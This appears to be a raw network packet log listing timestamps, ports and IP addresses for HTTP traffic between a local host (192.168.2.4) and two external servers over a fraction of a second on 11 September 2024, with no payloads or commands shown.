Sep 11, 2024 16:22:18.912070036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912077904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912086010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912095070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912101984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912110090 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912133932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912177086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912184000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912199020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912206888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912220955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912229061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912278891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912278891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912306070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912313938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912328005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912333965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912353039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912378073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912388086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912395000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912408113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912415981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912434101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912435055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912451982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912482977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912560940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912682056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.935739040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935755014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935776949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935784101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935798883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935806036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935813904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935822010 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.935842037 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.935887098 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.935914993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.935972929 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.948899031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948925018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948934078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948940992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948951006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948957920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948972940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.948973894 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.948985100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949003935 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949022055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949064970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949073076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949088097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949095964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949110031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949112892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949119091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949130058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949135065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949156046 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949176073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949188948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949197054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949210882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949218988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949237108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.949243069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949259043 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949282885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.949282885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950650930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950656891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950716972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.950737000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950745106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950752974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950761080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950768948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950772047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.950777054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.950800896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.950828075 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951294899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951303005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951318026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951350927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951370955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951380014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951399088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951406956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951415062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951421976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951433897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951462030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951467991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951476097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951491117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951499939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951514959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951533079 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951715946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951724052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951739073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951745033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.951766968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.951785088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.952342033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952349901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952358007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952389956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.952403069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952409983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952418089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952425957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952433109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952447891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.952467918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.952912092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952965021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.952991009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.952996969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953011990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953020096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953033924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953041077 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.953042030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953068018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.953068018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.953085899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.953125954 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.953823090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.953829050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.953931093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.954036951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954045057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954052925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954087973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.954164028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.954191923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954200029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954215050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.954269886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.954269886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.955775023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955782890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955790997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955832958 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.955853939 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.955913067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955920935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955929041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955935955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955944061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955961943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.955965996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955974102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955979109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955986023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.955990076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.955993891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956001997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956003904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956010103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956032991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956054926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956180096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956187010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956202030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956223011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956224918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956231117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956254959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956269026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956284046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956291914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956326008 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956363916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956368923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956439018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956450939 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956459999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956516027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956552982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956559896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956573963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956582069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956595898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.956624985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956688881 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.956688881 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958197117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958224058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958230972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958256960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958276033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958292007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958298922 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958312988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958321095 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958333969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958358049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958358049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958373070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958677053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958683968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958705902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958713055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958719969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958726883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958734989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.958736897 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958750963 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.958884001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.959191084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.959249020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960278034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960285902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960294008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960334063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960340977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960355043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960362911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960371017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960376024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960382938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960382938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960393906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960426092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960433006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960441113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960453987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960460901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960468054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960474968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960480928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.960495949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960495949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.960566044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961393118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961464882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961471081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961477995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961484909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961503983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961504936 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961532116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961535931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961544991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961551905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961565971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961575031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961590052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961596012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961596012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961600065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961616993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961623907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961635113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961635113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961639881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961648941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961671114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961671114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961708069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961806059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961813927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961827993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961865902 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961865902 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961891890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961899042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961913109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961920023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961932898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961947918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961960077 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961960077 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.961961985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961975098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.961994886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962018013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962024927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962033033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962039948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962081909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962081909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962125063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962201118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962352991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962358952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962373972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962457895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962465048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962466002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962465048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962483883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962491035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962505102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.962532043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962532043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.962565899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963428974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963438988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963455915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963463068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963476896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963484049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963493109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963494062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963494062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963500977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963512897 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963543892 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963548899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963557005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963563919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963577986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963587046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963601112 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963624001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963624001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963695049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963896036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963903904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.963948965 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.963969946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964122057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964128971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964143038 CEST	80	49734	147.45.44.104	192.168.2.4
